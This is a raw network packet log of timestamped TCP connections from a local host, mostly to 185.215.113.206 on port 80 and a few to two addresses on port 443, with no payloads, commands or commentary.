Dec 10, 2024 02:50:06.855876923 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.855947018 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.855998039 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.856057882 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.856973886 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.857065916 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.857105017 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.857177019 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.858092070 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.858155966 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.858241081 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.858300924 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.859169006 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.859213114 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.859302998 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.859353065 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.860272884 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.860326052 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.860368013 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.860415936 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.861421108 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.861473083 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.861571074 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.861618996 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.862497091 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.862549067 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.862584114 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.862642050 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.863622904 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.863691092 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.863723993 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.863769054 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.864649057 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.864696026 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.919470072 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.919542074 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.919683933 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.919739008 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.920011044 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.920056105 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.920116901 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.920165062 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.921114922 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.921160936 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.921236038 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.921291113 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.922276020 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.922323942 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.922563076 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.922681093 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.922682047 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.922729015 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.923677921 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.923728943 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.923811913 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.923860073 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.924787045 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.924839020 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.924935102 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.925017118 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.925919056 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.925975084 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.926013947 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.926071882 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.927015066 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.927088976 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.927126884 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.927191973 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.928117037 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.928179979 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.928359032 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.928407907 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.929194927 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.929234982 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.929292917 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.929342031 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.930329084 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.930370092 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.930429935 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.930480003 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.931426048 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.931479931 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.931610107 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.931659937 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.932538033 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.932585001 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.932770967 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.932823896 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.933635950 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.933696985 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.933736086 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.933787107 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.934794903 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.934853077 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.934890985 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.934952021 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.935827017 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.935873985 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.935937881 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.935987949 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.936969995 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.937016010 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.937146902 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.937208891 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.938045025 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.938096046 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.938177109 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.938246012 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.939148903 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.939203024 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.939243078 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.939285040 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.940253973 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.940304041 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.940340042 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.940382957 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.982213974 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.982317924 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.982391119 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.982750893 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.982835054 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.982954025 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.983004093 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.983150959 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.983200073 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.983983994 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.984033108 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.984102964 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.984195948 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.985079050 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.985133886 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.985208035 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.985271931 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.986089945 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.986140013 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.986228943 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.986360073 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.987147093 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.987205982 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.987298012 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.987340927 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.988214016 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.988266945 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.988305092 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.988346100 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.989238977 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.989286900 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.989371061 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.989418030 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.990292072 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.990360975 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.990420103 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.990473032 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.991367102 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.991419077 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.991442919 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.991492987 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.007699013 CET	443	49703	23.1.237.91	192.168.2.5
Dec 10, 2024 02:50:07.007785082 CET	49703	443	192.168.2.5	23.1.237.91
Dec 10, 2024 02:50:07.032075882 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.032183886 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.032188892 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.032222986 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.032665968 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.032731056 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.032763958 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.032809973 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.033665895 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.033735037 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.033768892 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.033808947 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.034708977 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.034774065 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.034811020 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.034868002 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.035763979 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.035815954 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.035859108 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.035904884 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.036818027 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.036875963 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.036916971 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.036942959 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.037888050 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.037945032 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.038080931 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.038120031 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.038944960 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.038988113 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.039133072 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.039179087 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.039969921 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.040018082 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.040069103 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.040127993 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.041064024 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.041138887 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.041157961 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.041208029 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.042085886 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.042150021 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.042190075 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.042303085 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.043534994 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.043590069 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.043692112 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.043741941 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.044245958 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.044302940 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.044353008 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.044408083 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.045263052 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.045368910 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.045384884 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.045418978 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.046307087 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.046356916 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.046428919 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.046483040 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.047372103 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.047437906 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.047523975 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.047595024 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.048410892 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.048484087 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.048518896 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.048566103 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.049462080 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.049504042 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.049567938 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.049631119 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.050513983 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.050564051 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.050616980 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.050671101 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.051592112 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.051671982 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.051702023 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.051748991 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.052624941 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.052689075 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.052725077 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.052817106 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.053669930 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.053719044 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.053785086 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.053868055 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.054737091 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.054795980 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.054836988 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.054888964 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.055777073 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.055825949 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.111793041 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.111879110 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.111913919 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.111968040 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.112315893 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.112384081 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.112423897 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.112471104 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.113394022 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.113440990 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.113562107 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.113610029 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.114418983 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.114468098 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.114728928 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.114794016 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.114926100 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.114989042 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.115813017 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.115870953 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.115910053 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.116005898 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.116858006 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.116905928 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.116947889 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.116996050 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.117908001 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.118011951 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.118022919 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.118055105 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.118953943 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.119018078 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.119096994 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.119153023 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.119999886 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.120058060 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.120101929 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.120157003 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.121109962 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.121172905 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.121186972 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.121256113 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.122113943 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.122176886 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.122273922 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.122334957 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.123172045 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.123234987 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.123271942 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.123337030 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.124233007 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.124289989 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.124406099 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.124556065 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.125305891 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.125411987 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.125423908 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.125478029 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.126373053 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.126421928 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:07.126461983 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:07.126518965 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:08.712927103 CET	49708	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:08.712973118 CET	443	49708	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:08.713057041 CET	49708	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:08.713155985 CET	49709	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:08.713213921 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:08.713263035 CET	49709	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:08.713304996 CET	49710	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:08.713314056 CET	443	49710	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:08.713357925 CET	49710	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:08.715337992 CET	49710	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:08.715348959 CET	443	49710	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:08.715562105 CET	49709	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:08.715581894 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:08.715799093 CET	49708	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:08.715809107 CET	443	49708	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:08.787549973 CET	49711	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:08.787586927 CET	443	49711	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:08.787652969 CET	49711	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:08.787898064 CET	49711	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:08.787910938 CET	443	49711	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:10.407772064 CET	443	49710	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:10.408514977 CET	49710	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:10.408528090 CET	443	49710	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:10.409552097 CET	443	49710	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:10.409636021 CET	49710	443	192.168.2.5	172.217.21.36
